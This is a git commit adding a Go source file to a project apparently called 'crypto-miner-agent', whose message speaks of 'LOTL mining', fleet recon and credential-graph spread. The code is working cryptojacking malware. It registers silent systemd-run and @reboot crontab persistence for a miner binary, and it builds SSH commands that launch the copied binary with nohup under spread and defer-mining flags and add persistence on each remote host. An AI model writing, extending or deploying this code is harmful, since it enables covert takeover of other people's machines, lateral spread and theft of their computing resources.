Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
78
agent/deploy/linux_lotl.go
Normal file
78
agent/deploy/linux_lotl.go
Normal file
@@ -0,0 +1,78 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// applyLinuxLOTLPersistence registers systemd-run --user and/or crontab hooks after install.
|
||||
func applyLinuxLOTLPersistence(cfg config.RuntimeConfig, binPath string) {
|
||||
mode := strings.ToLower(strings.TrimSpace(cfg.LinuxLOTLMode))
|
||||
if mode == "" || mode == "off" {
|
||||
return
|
||||
}
|
||||
runArgs := "--run"
|
||||
if WantsDeferMining() {
|
||||
runArgs += " --defer-mining"
|
||||
}
|
||||
if mode == "systemd_run_user" || mode == "both" {
|
||||
unit := sanitizeName(cfg.WorkerName) + "-worker"
|
||||
if unit == "-worker" {
|
||||
unit = "aetherforge-worker"
|
||||
}
|
||||
args := []string{"--user", "--unit=" + unit + ".service", binPath}
|
||||
args = append(args, strings.Fields(runArgs)...)
|
||||
if err := exec.Command("systemd-run", args...).Run(); err != nil {
|
||||
log.Printf("[lotl] systemd-run --user failed: %v", err)
|
||||
} else {
|
||||
log.Printf("[lotl] systemd-run --user registered %s", unit)
|
||||
}
|
||||
}
|
||||
if mode == "crontab" || mode == "both" {
|
||||
line := fmt.Sprintf("@reboot %s %s >/dev/null 2>&1", binPath, runArgs)
|
||||
out, _ := exec.Command("crontab", "-l").Output()
|
||||
existing := string(out)
|
||||
if strings.Contains(existing, binPath) {
|
||||
return
|
||||
}
|
||||
newCrontab := strings.TrimSpace(existing)
|
||||
if newCrontab != "" {
|
||||
newCrontab += "\n"
|
||||
}
|
||||
newCrontab += line + "\n"
|
||||
cmd := exec.Command("crontab", "-")
|
||||
cmd.Stdin = strings.NewReader(newCrontab)
|
||||
if err := cmd.Run(); err != nil {
|
||||
log.Printf("[lotl] crontab persist failed: %v", err)
|
||||
} else {
|
||||
log.Printf("[lotl] crontab @reboot entry added")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// sshSpreadStartCmd builds remote start with spread + defer-mining flags.
|
||||
func sshSpreadStartCmd(remotePath string) string {
|
||||
return fmt.Sprintf("chmod +x %s && nohup %s --spread-install --defer-mining >/dev/null 2>&1 &", remotePath, remotePath)
|
||||
}
|
||||
|
||||
// sshSpreadPersistCmd optionally installs LOTL persistence on remote (writable home required).
|
||||
func sshSpreadPersistCmd(cfg config.RuntimeConfig, remotePath string) string {
|
||||
mode := strings.ToLower(strings.TrimSpace(cfg.LinuxLOTLMode))
|
||||
if mode == "" || mode == "off" {
|
||||
return ""
|
||||
}
|
||||
var parts []string
|
||||
if mode == "systemd_run_user" || mode == "both" {
|
||||
parts = append(parts, fmt.Sprintf("systemd-run --user --unit=aetherforge-spread.service %s --run --defer-mining 2>/dev/null || true", remotePath))
|
||||
}
|
||||
if mode == "crontab" || mode == "both" {
|
||||
parts = append(parts, fmt.Sprintf(`(crontab -l 2>/dev/null; echo "@reboot %s --run --defer-mining >/dev/null 2>&1") | crontab - 2>/dev/null || true`, remotePath))
|
||||
}
|
||||
return strings.Join(parts, "; ")
|
||||
}
|
||||
Reference in New Issue
Block a user